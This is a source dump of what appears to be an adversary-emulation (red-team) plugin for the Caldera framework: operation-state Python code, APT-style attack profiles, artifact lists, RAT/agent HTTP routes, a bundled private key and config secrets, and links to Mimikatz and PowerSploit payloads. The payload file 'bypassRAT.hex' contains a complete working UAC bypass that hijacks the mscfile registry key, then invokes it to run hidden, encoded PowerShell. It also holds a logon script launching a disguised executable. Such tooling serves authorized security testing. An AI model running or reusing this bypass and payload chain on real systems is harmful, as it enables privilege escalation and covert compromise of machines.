== OpState.RUN.value or state == '': 26 | break 27 | elif state == OpState.CANCEL.value: 28 | return 'Cancel Requested' 29 | else: 30 | await asyncio.sleep(5) 31 | 32 | async def is_canceled(self, operation): 33 | state = await self.get_state(operation) 34 | if state == 'CANCELED': 35 | return True 36 | return False 37 | 38 | async def pause_operation(self, operation): 39 | if not await self.is_canceled(operation): 40 | await self.dao.delete('opstate', dict(operation=operation)) 41 | await self.dao.create('opstate', dict(operation=operation,state=OpState.PAUSE.value)) 42 | 43 | async def run_operation(self, operation): 44 | if not await self.is_canceled(operation): 45 | await self.dao.delete('opstate', dict(operation=operation)) 46 | await self.dao.create('opstate', dict(operation=operation, state=OpState.RUN.value)) 47 | 48 | async def cancel_operation(self, operation): 49 | await self.dao.delete('opstate', dict(operation=operation)) 50 | await self.dao.create('opstate', dict(operation=operation, state=OpState.CANCEL.value)) 51 | 52 | async def cleanup_operation(self, operation): 53 | await self.dao.delete('opstate', dict(operation=operation)) 54 | 55 | -------------------------------------------------------------------------------- /app/utility/simulation.py: -------------------------------------------------------------------------------- 1 | import json 2 | import plugins.adversary.app.config as config 3 | 4 | """ 5 | This module provides simulation functionality 6 | """ 7 | 8 | def get_simulated_domain_data(domain=None): 9 | try: 10 | with open('%s/simulation.json' % config.settings.config_dir) as sims: 11 | world = json.load(sims) 12 | if domain: 13 | return next(item for item in world['domains'] if item['name'] == domain) 14 | return world['domains'] 15 | except: 16 | return None -------------------------------------------------------------------------------- /conf/adversary.sql: -------------------------------------------------------------------------------- 1 | CREATE TABLE if not exists opstate (operation text primary key, state text, UNIQUE(operation)); -------------------------------------------------------------------------------- /conf/adversary_profiles.default: -------------------------------------------------------------------------------- 1 | Alice: 2 | exfil_method: rawtcp 3 | exfil_port: 8889 4 | exfil_address: x.x.x.x 5 | artifactlists: 6 | - Alice 7 | steps: 8 | - Copy 9 | - Credentials 10 | - GetAdmin 11 | - GetComputers 12 | - GetDomain 13 | - NetUse 14 | - WMIRemoteProcessCreate 15 | 16 | Bob: 17 | exfil_method: rawtcp 18 | exfil_port: 8889 19 | exfil_address: x.x.x.x 20 | artifactlists: 21 | - None 22 | steps: 23 | - Credentials 24 | - DirListCollection 25 | - ExfilAdversaryProfile 26 | - GetAdmin 27 | - GetComputers 28 | - GetDomain 29 | - GetPrivEscSvcInfo 30 | - ServiceManipulateFileScLocal 31 | - PsexecMove 32 | 33 | Charlie: 34 | exfil_method: rawtcp 35 | exfil_port: 8889 36 | exfil_address: x.x.x.x 37 | artifactlists: 38 | - None 39 | steps: 40 | - Copy 41 | - Credentials 42 | - GetAdmin 43 | - GetComputers 44 | - GetDomain 45 | - GetLocalProfiles 46 | - HKURunKeyPersist 47 | - NetUse 48 | - PassTheHashCopy 49 | - PassTheHashSc 50 | - SchtasksPersist 51 | - TasklistLocal 52 | - GetPrivEscSvcInfo 53 | - ServiceManipulateFileScLocal 54 | 55 | laz: 56 | exfil_method: rawtcp 57 | exfil_port: 8889 58 | exfil_address: x.x.x.x 59 | artifactlists: 60 | - None 61 | steps: 62 | - DirListCollection 63 | - ExfilAdversaryProfile 64 | - ScPersist 65 | - TasklistLocal 66 | - TasklistRemote 67 | - GetLocalProfiles 68 | - HKURunKeyPersist 69 | - HKLMRunKeyPersist 70 | - Copy 71 | - XCopy 72 | - SysteminfoLocal 73 | - SysteminfoRemote 74 | - GetDomain 75 | - GetLocalProfiles 76 | - Timestomp 77 | - NetUse 78 | - WMIRemoteProcessCreate 79 | - Credentials 80 | - GetComputers 81 | - GetAdmin 82 | 83 | APT3: 84 | exfil_method: http 85 | exfil_port: 8889 86 | exfil_address: x.x.x.x 87 | artifactlists: 88 | - APT3 89 | steps: 90 | - GetAdmin 91 | - GetComputers 92 | - GetDomain 93 | - GetLocalProfiles 94 | - TasklistLocal 95 | - TasklistRemote 96 | - NetworkConnections 97 | - Credentials 98 | - GetPrivEscSvcInfo 99 | - AC_Bypass 100 | - ServiceManipulateBinPathScLocal 101 | - ServiceManipulateFileScLocal 102 | - ServiceManipulateUnquotedLocal 103 | - Schtasks 104 | - Modify_Shortcut 105 | - SchtasksPersist 106 | - AssociationAbuse 107 | - AddUser 108 | - CopyFile 109 | - NetUse 110 | - RemoveNetShare 111 | - PsexecMove 112 | - DirListCollection 113 | - ExfilAdversaryProfile 114 | 115 | APT29: 116 | exfil_method: https 117 | exfil_port: 8889 118 | exfil_address: x.x.x.x 119 | artifactlists: 120 | - APT29 121 | steps: 122 | - GetAdmin 123 | - GetComputers 124 | - Credentials 125 | - Schtasks 126 | - SchtasksPersist 127 | - WMIRemoteProcessCreate 128 | - AssociationAbuse 129 | - HKLMRunKeyPersist 130 | - HKURunKeyPersist 131 | - PassTheHashSc 132 | - ScPersist 133 | - AC_Bypass 134 | - Credentials 135 | - SysteminfoLocal 136 | - SysteminfoRemote 137 | - TasklistLocal 138 | - TasklistRemote 139 | - GetPrivEscSvcInfo 140 | - NetTime 141 | - Copy 142 | - PassTheHashCopy 143 | - Xcopy 144 | - ExfilAdversaryProfile 145 | -------------------------------------------------------------------------------- /conf/artifact_lists.default: -------------------------------------------------------------------------------- 1 | Alice: 2 | dlls: 3 | - alice.dll 4 | executables: 5 | - alice.exe 6 | file_paths: 7 | - 8 | schtasks: 9 | - 10 | services: 11 | - alice.svc 12 | description: "This is a demonstration artifact list." 13 | 14 | APT3: 15 | dlls: 16 | - IePorxyv.dll 17 | - msupd.dll 18 | - ieupd.dll 19 | executables: 20 | - doc.exe 21 | - test.exe 22 | - install.exe 23 | file_paths: 24 | - 25 | schtasks: 26 | - mysc 27 | services: 28 | - 29 | description: "This is an artifact list tailored to emulating APT3" 30 | 31 | APT28: 32 | dlls: 33 | - amdcache.dll 34 | - api-ms-win-core-advapi-l1-1-0.dll 35 | - pi-ms-win-downlevel-profile-l1-1-0.dll 36 | - api-ms-win-samcli-dnsapi-0-0-0.dll 37 | - apisvcd.dll 38 | - btecache.dll 39 | - csrs.dll 40 | - decompbufferrawfix-0x624-1643712-1.dll 41 | - hello32.dll 42 | - iprpp.dll 43 | - lsasrvi.dll 44 | - mgswizap.dll 45 | executables: 46 | - hazard.exe 47 | - runrun.exe 48 | - vmware_manager.exe 49 | - csrs.exe 50 | - hpinst.exe 51 | file_paths: 52 | - 53 | schtasks: 54 | - mysc 55 | services: 56 | - 57 | description: "This is an artifact list tailored to emulating APT28" 58 | 59 | APT29: 60 | dlls: 61 | - cyzfc.dat 62 | - amdhcp32.dll 63 | - aticalrt.dll 64 | - amd_opencl32.dll 65 | - aticaldd.dll 66 | - cldsys.dll 67 | - twain_64.dll 68 | executables: 69 | - AcrobatUpdater.exe 70 | - Chrome.exe 71 | - javacc.exe 72 | - WLMerger.exe 73 | - Uploader.exe 74 | - tDiscover.exe 75 | - AdobeARM.exe 76 | - ATI-Agent.exe 77 | - googleService.exe 78 | - GoogleUpdate.exe 79 | - ds7002.lnk 80 | file_paths: 81 | - C:\Users\%USERNAME%\AppData\Roaming\Local\ 82 | - C:\Windows\ 83 | schtasks: 84 | - 85 | services: 86 | - 87 | description: "This is an artifact list tailored to emulating APT29" -------------------------------------------------------------------------------- /conf/atomic_attack_navigator_coverage.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Caldera Atomic Red-Team Coverage", 3 | "version": "2.1", 4 | "domain": "mitre-caldera", 5 | "description": "This is the current Atomic Red-Team test coverage in Caldera", 6 | "filters": { 7 | "stages": [ 8 | "act" 9 | ], 10 | "platforms": [ 11 | "windows", 12 | "linux", 13 | "mac" 14 | ] 15 | }, 16 | "sorting": 0, 17 | "viewMode": 0, 18 | "hideDisabled": false, 19 | "techniques": [], 20 | "gradient": { 21 | "colors": [ 22 | "#FFFFFF", 23 | "#FF0000" 24 | ], 25 | "minValue": 1, 26 | "maxValue": 2 27 | }, 28 | "legendItems": [ 29 | { 30 | "color": "#ffffff", 31 | "label": "No Coverage" 32 | }, 33 | { 34 | "color": "#ff0000", 35 | "label": "Coverage" 36 | } 37 | ], 38 | "metadata": [ 39 | { 40 | "name": "Caldera Version", 41 | "value": "0.7" 42 | } 43 | ], 44 | "showTacticRowBackground": true, 45 | "tacticRowBackground": "#dddddd", 46 | "selectedTechniquesAcrossTactics": true 47 | } -------------------------------------------------------------------------------- /conf/cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIICujCCAaICCQCKdfx1oMOZwzANBgkqhkiG9w0BAQsFADAfMRAwDgYDVQQLDAdT 3 | ZXJ2ZXJzMQswCQYDVQQGEwJVUzAeFw0xODEwMDMxNjM3MDRaFw0yODEwMDIxNjM3 4 | MDRaMB8xEDAOBgNVBAsMB1NlcnZlcnMxCzAJBgNVBAYTAlVTMIIBIjANBgkqhkiG 5 | 9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1tICGKGy+xWn0FLr1gE26+HyH6TcMwk7Oyay 6 | fJcSVGEEBgaFFVEFzbRP55ubwM3BcUQgfKZtJzfuW8Hyclh7sW+qiW1TPFWsEGSb 7 | MtUXlaj9UuZ39BjSFZsEmkyY9GpI/SJbnC+I99gfpn097xNJA7jFGt5Kx25nYGhT 8 | N2aGYnU7Cx1e8sS6O1WkWNBCScpngfnM5SjmlB1/afv3Mo/xDEgs+h8SnQ4WYp7w 9 | LuoULEF0vriQyi5l5gBWrN3vbWYL16b6peQQbjXjJ8Hcfxxo+z2u9GRd9i5TytWN 10 | qE6rQApcsVsFsrB4lWjTs7o0tFuB0bgqtxilazqslauJoX6SHQIDAQABMA0GCSqG 11 | SIb3DQEBCwUAA4IBAQAd9G+6KdEwB9T9JhpTyfVTtxVzfX08An3BuThsovp4fqgT 12 | QClLMHCd039C0eOOAn0ijduF0Q25LSjesODqvpWPSSp8YE59l8MwpvQlFo1fT7ic 13 | S7Aa8y3J+FHCexzNqYxq7OqF0G1ahUeHdasKV0n7k60lVfQ15+wcvhzUtW/asP5D 14 | IQHEwDe+XTguJBmdOSp15FCf7plggKMTmkgu2GRToZv/rCldJbLTgfC+QdE2zZ/O 15 | 2AF271LMJiQm+DBIApSnHVwLUUm42f8wkPBKJcselAcybf1Iz8YVsL3KROeUsemz 16 | EbluOqHoallQcPeq9RoXnYZOUGjh6p9pLZ3nnNDA 17 | -----END CERTIFICATE----- 18 | -------------------------------------------------------------------------------- /conf/config.ini: -------------------------------------------------------------------------------- 1 | [adversary] 2 | host = localhost 3 | port = 27017 4 | db_key = vjiuMUuNd8fx7934XF50Vtm2YYXrzZhWl2B2b6G6BUU= 5 | app_key = Qy5pvp1uhfyalpC0CCHCF8VPksweP1Hq48H5Y8ka5vzz4LBYdKU8TTr8ifd0Ns3+YLNvl2JR7kH5i3XLsBh57SY9F7ZzoKh4xMGd7iloFg07Huq40IdN942pk2md9XAyfaJ4bvVkyqwOGR3EwC3duHSJ2yWv4pxJQcSITSAXsEU+UJw3E7a8vJ4pETf/EFGZ0Dzw4tm2iU5ATg1qzffoo+aDu8y3u0HQAjeZWiyO7T2ywtiP6mDYAxV5rWlgHXq56V/rjpqPTH8GruTiZgpY8+9uB/RcnDr8IHus/xPlwrxb0nqOVDMuf/u7qk/4S4m6i5dJyvOyav3Xs6V6d4BTKQ== 6 | -------------------------------------------------------------------------------- /conf/key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDW0gIYobL7FafQ 3 | UuvWATbr4fIfpNwzCTs7JrJ8lxJUYQQGBoUVUQXNtE/nm5vAzcFxRCB8pm0nN+5b 4 | wfJyWHuxb6qJbVM8VawQZJsy1ReVqP1S5nf0GNIVmwSaTJj0akj9IlucL4j32B+m 5 | fT3vE0kDuMUa3krHbmdgaFM3ZoZidTsLHV7yxLo7VaRY0EJJymeB+czlKOaUHX9p 6 | +/cyj/EMSCz6HxKdDhZinvAu6hQsQXS+uJDKLmXmAFas3e9tZgvXpvql5BBuNeMn 7 | wdx/HGj7Pa70ZF32LlPK1Y2oTqtAClyxWwWysHiVaNOzujS0W4HRuCq3GKVrOqyV 8 | q4mhfpIdAgMBAAECggEAXEIhKFb5uR/ZzHxwUJ6A6dlF1RVGhJyoVYUPDrcK5jYs 9 | NjJCoZ8EcQ3Ja1zHDYzQUUbC9QW8xyUcN0gaScV6if+9K/xJzRW2KewrQy+FS38i 10 | HKJiTfEC+Mh0t5fB8OZcpmpFEdTQbDDjluse2DheGT0XWayyTOg7eYoUgyyC9nE8 11 | pSPLBu5FDgVVSy2wvhcsnX+qNDD7zS5xLjILh5HQF7/M5WnSwfBL1ZOxLeNwRnp9 12 | 8S70bYOrl5V4ldH9fe/rSANREwyTIa9nJQYCxc8xI9MokSIzyr6BCAFg0f7ybimq 13 | LPTUi/e1EzShv6vd87HMl/djEhwTiWSBieS4LeaBAQKBgQD6jzsRnYFrippO0dP9 14 | Jh1LMrSaKMlwN3zh/YCVvrA2yWQ8VN7wpMcEt0Ol9+glo8Dx3SRkkqSlpZhsUYrV 15 | eYSjM16AXjNGZXd48RKPBfv49hXVg1+0ORr6327WBEg3DQ9ft74UjrnBMX/ZL8zq 16 | j3T6dgDsV/HeuUaTJ9hCU+68vQKBgQDbfB3SMUmsoBVnPZOLxsa3hrIAHKoeIngQ 17 | cFPIG2+aKI0N+fDNAKLFbr+7o4KqwTt5HZm5dvf+6F7kKPw6Yztsm6MTkjQbfY+H 18 | jTVMYiI/fvDWLsKV3ZR31uDTOUiJlN1VgRuODC+bn2pAmhrlxV1GrHcX3b/bAD8g 19 | z5Slj/hw4QKBgQDCYrSU6fkqEZG9bJRmZVd8q43pu5Lr+GBug1lq01Gqb3vQQpfj 20 | YjL0ualF7Zqw+OYLvmEplYse5+Xkwy5Oh8QbSRMby/lDuByEO6MGSsI9V82ApDdv 21 | fo4r64P1jcTo0L0IqWhSUphSBbEGMktr/nfmh/4XXfNLs7nJGLRyYONqkQKBgBBk 22 | udl8QvN41YBrkfyrsSX+Eod9nJs5mdwod6mHmxNZmgeENp8pP/8dIYcDVHwqiKWo 23 | N1Yp86X/dy71fLljtgmLqmeI0QmInFLUkjmNTt+NPLHStkf5T+CPlSVRrwBPtSRw 24 | yz0V3exywL3ohL/KuQfRU+fdcToLT6vEtWaUVUshAoGBAOx0z4Z+i4JSlLBsc4+y 25 | RGC4E6RSnJgvNd+6OuDkwx0tjtb94D4THBIdW7Xg0fbKSncZmgyiVShPVFBqlz8G 26 | ItqfZRpL1BkiutQRGHFSeXTlpXdQNCBK78VBTZ8KALmv1qbuMjiG2Pj1+kKriJWk 27 | 9oENrwoslLsI8c6zmBY4VBid 28 | -----END PRIVATE KEY----- 29 | -------------------------------------------------------------------------------- /conf/simulation.json: -------------------------------------------------------------------------------- 1 | { 2 | "domains": [ 3 | { 4 | "name": "superhero", 5 | "hosts": { 6 | "superman": { 7 | "os": { 8 | "name": "windows", 9 | "major": "1", 10 | "minor": "1", 11 | "build": "0" 12 | }, 13 | "accounts": [ 14 | {"user":"administrator", "password": "password", "sid": "s-1-5-21-1799380766-1480360792-3958001860-580", 15 | "is_group": true, "is_admin": true} 16 | ] 17 | }, 18 | "batman": { 19 | "os": { 20 | "name": "windows", 21 | "major": "1", 22 | "minor": "1", 23 | "build": "0" 24 | }, 25 | "accounts": [ 26 | {"user":"administrator", "password": "password", "sid": "s-1-5-21-1799380766-1480360792-3958001860-580", 27 | "is_group": true, "is_admin": true} 28 | ] 29 | }, 30 | "thor": { 31 | "os": { 32 | "name": "windows", 33 | "major": "1", 34 | "minor": "1", 35 | "build": "0" 36 | }, 37 | "accounts": [ 38 | {"user":"administrator", "password": "password", "sid": "s-1-5-21-1799380766-1480360792-3958001860-580", 39 | "is_group": true, "is_admin": true}, 40 | {"user":"dummy", "password": "password", "sid": "s-1-5-23-1799380766-1480360792-3958001860-501", 41 | "is_group": false, "is_admin": false} 42 | ] 43 | }, 44 | "thing": { 45 | "os": { 46 | "name": "windows", 47 | "major": "1", 48 | "minor": "1", 49 | "build": "0" 50 | }, 51 | "accounts": [ 52 | {"user":"administrator", "password": "password", "sid": "s-1-5-21-1799380766-1480360792-3958001860-580", 53 | "is_group": true, "is_admin": true} 54 | ] 55 | }, 56 | "wolverine": { 57 | "os": { 58 | "name": "windows", 59 | "major": "1", 60 | "minor": "1", 61 | "build": "0" 62 | }, 63 | "accounts": [ 64 | {"user":"administrator", "password": "password", "sid": "s-1-5-21-1799380766-1480360792-3958001860-580", 65 | "is_group": true, "is_admin": true} 66 | ] 67 | } 68 | } 69 | } 70 | ] 71 | } -------------------------------------------------------------------------------- /hook.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | import plugins.adversary.app.config as config 4 | from plugins.adversary.app.service.adversary_api import AdversaryApi 5 | from plugins.adversary.app.service.api_logic import ApiLogic 6 | from plugins.adversary.app.service.background import BackgroundTasks 7 | 8 | name = 'Adversary' 9 | description = 'Adds the full Adversary mode, including REST and GUI components' 10 | address = '/plugin/adversary/gui' 11 | 12 | 13 | async def setup_routes_and_services(app, services): 14 | await services.get('data_svc').load_data(schema='plugins/adversary/conf/adversary.sql') 15 | 16 | auth_svc = services.get('auth_svc') 17 | api_logic = ApiLogic(config.settings.dao, services.get('data_svc').dao) 18 | background = BackgroundTasks(api_logic=api_logic) 19 | adversary_api = AdversaryApi(api_logic=api_logic, auth_key=config.settings.auth_key, auth_svc=auth_svc) 20 | 21 | app.on_startup.append(background.tasks) 22 | # Open Human Endpoints 23 | app.router.add_static('/adversary', config.settings.plugin_root / 'static/', append_version=True) 24 | app.router.add_route('GET', '/conf.yml', adversary_api.render_conf) 25 | 26 | # Authorized Human Endpoints 27 | app.router.add_route('*', '/plugin/adversary/gui', adversary_api.planner) 28 | app.router.add_route('*', '/adversary', adversary_api.planner) 29 | app.router.add_route('POST', '/operation/refresh', adversary_api.refresh) 30 | app.router.add_route('POST', '/operation', adversary_api.start_operation) 31 | app.router.add_route('*', '/operation/logs/plan', adversary_api.download_logs) 32 | app.router.add_route('*', '/operation/logs/bsf', adversary_api.download_bsf) 33 | app.router.add_route('*', '/operation/logs/operation', adversary_api.download_operation) 34 | app.router.add_route('POST', '/terminate', adversary_api.rebuild_database) 35 | app.router.add_route('*', '/settings', adversary_api.settings) 36 | app.router.add_route('*', '/cagent', adversary_api.cagent) 37 | 38 | app.router.add_route('POST', '/op/control', adversary_api.control) 39 | 40 | # Open Agent Endpoints 41 | app.router.add_route('GET', '/commander', adversary_api.rat_download) 42 | app.router.add_route('GET', '/deflate_token', adversary_api.deflate_token) 43 | app.router.add_route('GET', '/macro/{macro}', adversary_api.rat_query_macro) 44 | app.router.add_route('POST', '/login', adversary_api.rat_login) 45 | 46 | # Authorized Agent Endpoints (Agents use separate tokens & auth is implemented separately in the plugin) 47 | app.router.add_route('GET', '/api/heartbeat', adversary_api.rat_heartbeat) 48 | app.router.add_route('GET', '/api/jobs', adversary_api.rat_get_jobs) 49 | app.router.add_route('GET', '/api/jobs/{job}', adversary_api.rat_get_job) 50 | app.router.add_route('POST', '/api/clients', adversary_api.rat_clients_checkin) 51 | app.router.add_route('PUT', '/api/jobs/{job}', adversary_api.rat_get_job) 52 | return app 53 | 54 | 55 | async def initialize(app, services): 56 | logging.getLogger('app.engine.database').setLevel(logging.INFO) 57 | config.initialize_settings(config_path='plugins/adversary/conf/config.ini', filestore_path='plugins/adversary/payloads') 58 | await setup_routes_and_services(app, services) 59 | -------------------------------------------------------------------------------- /payloads/CraterMain.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/CraterMain.dll -------------------------------------------------------------------------------- /payloads/CraterMain.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/CraterMain.exe -------------------------------------------------------------------------------- /payloads/bypassRAT.hex: -------------------------------------------------------------------------------- 1 | function Invoke-EventVwrBypass { 2 | <# 3 | .SYNOPSIS 4 | 5 | Bypasses UAC by performing an image hijack on the .msc file extension 6 | Expected to work on Win7, 8.1 and Win10 7 | 8 | Only tested on Windows 7 and Windows 10 9 | 10 | Author: Matt Nelson (@enigma0x3) 11 | License: BSD 3-Clause 12 | Required Dependencies: None 13 | Optional Dependencies: None 14 | 15 | Source: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ 16 | 17 | .PARAMETER Command 18 | 19 | Specifies the command you want to run in a high-integrity context. For example, you can pass it powershell.exe followed by any encoded command "powershell -enc " 20 | 21 | .EXAMPLE 22 | 23 | Invoke-EventVwrBypass -Command "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -enc IgBJAHMAIABFAGwAZQB2AGEAdABlAGQAOgAgACQAKAAoAFsAUwBlAGMAdQByAGkAdAB5AC4AUAByAGkAbgBjAGkAcABhAGwALgBXAGkAbgBkAG8AdwBzAFAAcgBpAG4AYwBpAHAAYQBsAF0AWwBTAGUAYwB1AHIAaQB0AHkALgBQAHIAaQBuAGMAaQBwAGEAbAAuAFcAaQBuAGQAbwB3AHMASQBkAGUAbgB0AGkAdAB5AF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAKAApACkALgBJAHMASQBuAFIAbwBsAGUAKABbAFMAZQBjAHUAcgBpAHQAeQAuAFAAcgBpAG4AYwBpAHAAYQBsAC4AVwBpAG4AZABvAHcAcwBCAHUAaQBsAHQASQBuAFIAbwBsAGUAXQAnAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAJwApACkAIAAtACAAJAAoAEcAZQB0AC0ARABhAHQAZQApACIAIAB8ACAATwB1AHQALQBGAGkAbABlACAAQwA6AFwAVQBBAEMAQgB5AHAAYQBzAHMAVABlAHMAdAAuAHQAeAB0ACAALQBBAHAAcABlAG4AZAA=" 24 | 25 | This will write out "Is Elevated: True" to C:\UACBypassTest. 26 | 27 | #> 28 | 29 | [CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')] 30 | Param ( 31 | [Parameter(Mandatory = $True)] 32 | [ValidateNotNullOrEmpty()] 33 | [String] 34 | $Command, 35 | 36 | [Switch] 37 | $Force 38 | ) 39 | $ConsentPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).ConsentPromptBehaviorAdmin 40 | $SecureDesktopPrompt = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System).PromptOnSecureDesktop 41 | 42 | if($ConsentPrompt -Eq 2 -And $SecureDesktopPrompt -Eq 1){ 43 | "UAC is set to 'Always Notify'. This module does not bypass this setting." 44 | exit 45 | } 46 | else{ 47 | #Begin Execution 48 | $mscCommandPath = "HKCU:\Software\Classes\mscfile\shell\open\command" 49 | $Command = $pshome + '\' + $Command 50 | #Add in the new registry entries to hijack the msc file 51 | if ($Force -or ((Get-ItemProperty -Path $mscCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){ 52 | New-Item $mscCommandPath -Force | 53 | New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null 54 | }else{ 55 | Write-Warning "Key already exists, consider using -Force" 56 | exit 57 | } 58 | 59 | if (Test-Path $mscCommandPath) { 60 | Write-Verbose "Created registry entries to hijack the msc extension" 61 | }else{ 62 | Write-Warning "Failed to create registry key, exiting" 63 | exit 64 | } 65 | 66 | $EventvwrPath = Join-Path -Path ([Environment]::GetFolderPath('System')) -ChildPath 'eventvwr.exe' 67 | #Start Event Viewer 68 | if ($PSCmdlet.ShouldProcess($EventvwrPath, 'Start process')) { 69 | $Process = Start-Process -FilePath $EventvwrPath -PassThru 70 | Write-Verbose "Started eventvwr.exe" 71 | } 72 | 73 | #Sleep 5 seconds 74 | Write-Verbose "Sleeping 5 seconds to trigger payload" 75 | if (-not $PSBoundParameters['WhatIf']) { 76 | Start-Sleep -Seconds 5 77 | } 78 | 79 | $mscfilePath = "HKCU:\Software\Classes\mscfile" 80 | 81 | if (Test-Path $mscfilePath) { 82 | #Remove the registry entry 83 | Remove-Item $mscfilePath -Recurse -Force 84 | Write-Verbose "Removed registry entries" 85 | } 86 | 87 | if(Get-Process -Id $Process.Id -ErrorAction SilentlyContinue){ 88 | Stop-Process -Id $Process.Id 89 | Write-Verbose "Killed running eventvwr process" 90 | } 91 | } 92 | } 93 | 94 | Invoke-EventVwrBypass @' 95 | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep Bypass -WindowStyle Hidden -enc 96 | QzovL3RvdGFsbHlfaW5ub2NlbnRfc2VhbC5leGU7IGV4aXQ= 97 | '@ -Force; 98 | exit; -------------------------------------------------------------------------------- /payloads/cagent.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/cagent.exe -------------------------------------------------------------------------------- /payloads/footprint-ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/footprint-ps1 -------------------------------------------------------------------------------- /payloads/invoke-mimi-ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/invoke-mimi-ps1 -------------------------------------------------------------------------------- /payloads/invoke-reflectivepe-ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/invoke-reflectivepe-ps1 -------------------------------------------------------------------------------- /payloads/logon.hex: -------------------------------------------------------------------------------- 1 | start /d "C:\\" totally_innocent_executable.exe -------------------------------------------------------------------------------- /payloads/mimi32-dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/mimi32-dll -------------------------------------------------------------------------------- /payloads/mimi32-exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/mimi32-exe -------------------------------------------------------------------------------- /payloads/mimi64-dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/mimi64-dll -------------------------------------------------------------------------------- /payloads/mimi64-exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/mimi64-exe -------------------------------------------------------------------------------- /payloads/powerup-ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/powerup-ps1 -------------------------------------------------------------------------------- /payloads/powerview-ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/powerview-ps1 -------------------------------------------------------------------------------- /payloads/timestomper-ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/payloads/timestomper-ps1 -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | antlr4-python3-runtime==4.7.1 2 | asn1crypto==0.24.0 3 | async-timeout==3.0.0; python_version >= '3.5.3' 4 | attrs==18.2.0 5 | certifi==2018.8.24 6 | cffi==1.11.5 7 | chardet==3.0.4 8 | idna==2.7 9 | itsdangerous==0.24 10 | markupsafe==1.0 11 | mongoengine==0.15.3 12 | multidict==4.4.2; python_version >= '3.4.1' 13 | multipledispatch==0.6.0 14 | pycparser==2.19; python_version != '3.1.*' 15 | pydatalog==0.17.1 16 | pymongo==3.7.1 17 | requests==2.21.0 18 | six==1.11.0 19 | toolz==0.9.0 20 | unification==0.2.2 21 | urllib3==1.24.2; python_version != '3.3.*' 22 | yarl==1.2.6; python_version >= '3.4.1' 23 | pytest >= "4.4.0" 24 | pytest-aiohttp==0.3.0 25 | -------------------------------------------------------------------------------- /static/css/modal.css: -------------------------------------------------------------------------------- 1 | input[type=text], input[type=password], input[type=number] { 2 | width: 100%; 3 | height: 30px; 4 | padding: 12px 20px; 5 | box-sizing: border-box; 6 | margin-top: 15px; 7 | border-radius: 10px; 8 | } 9 | select { 10 | overflow: hidden; 11 | background: white; 12 | font-size: 14px; 13 | height: 30px; 14 | width: 100%; 15 | padding: 5px 15px; 16 | margin-top: 15px; 17 | border-radius: 10px; 18 | } 19 | .modal button { 20 | background-color: green; 21 | color: white; 22 | padding: 14px 20px; 23 | margin: 8px 0; 24 | border: none; 25 | cursor: pointer; 26 | width: 90%; 27 | } 28 | .modal button:hover { 29 | opacity: 0.6; 30 | } 31 | 32 | .cancelbtn { 33 | width: auto; 34 | padding: 10px 18px; 35 | background-color: #7a1f1f; 36 | } 37 | .imgcontainer { 38 | text-align: center; 39 | position: relative; 40 | margin-bottom: 25px; 41 | } 42 | img.avatar { 43 | width: 40%; 44 | border-radius: 50%; 45 | } 46 | .container { 47 | padding: 16px; 48 | } 49 | span.psw { 50 | float: right; 51 | padding-top: 16px; 52 | } 53 | .modal { 54 | display: none; /* Hidden by default */ 55 | position: fixed; /* Stay in place */ 56 | z-index: 1; /* Sit on top */ 57 | left: 0; 58 | top: 0; 59 | width: 100%; /* Full width */ 60 | background-color: rgb(0,0,0); /* Fallback color */ 61 | background-color: rgba(0,0,0,0.4); /* Black w/ opacity */ 62 | padding-top: 10px; 63 | } 64 | .modal-content { 65 | background-color: #fefefe; 66 | margin: 5% auto 15% auto; 67 | width: 40%; 68 | } 69 | .modal p { 70 | color: #333; 71 | } 72 | .close { 73 | position: absolute; 74 | right: 25px; 75 | top: 0; 76 | color: #000; 77 | font-size: 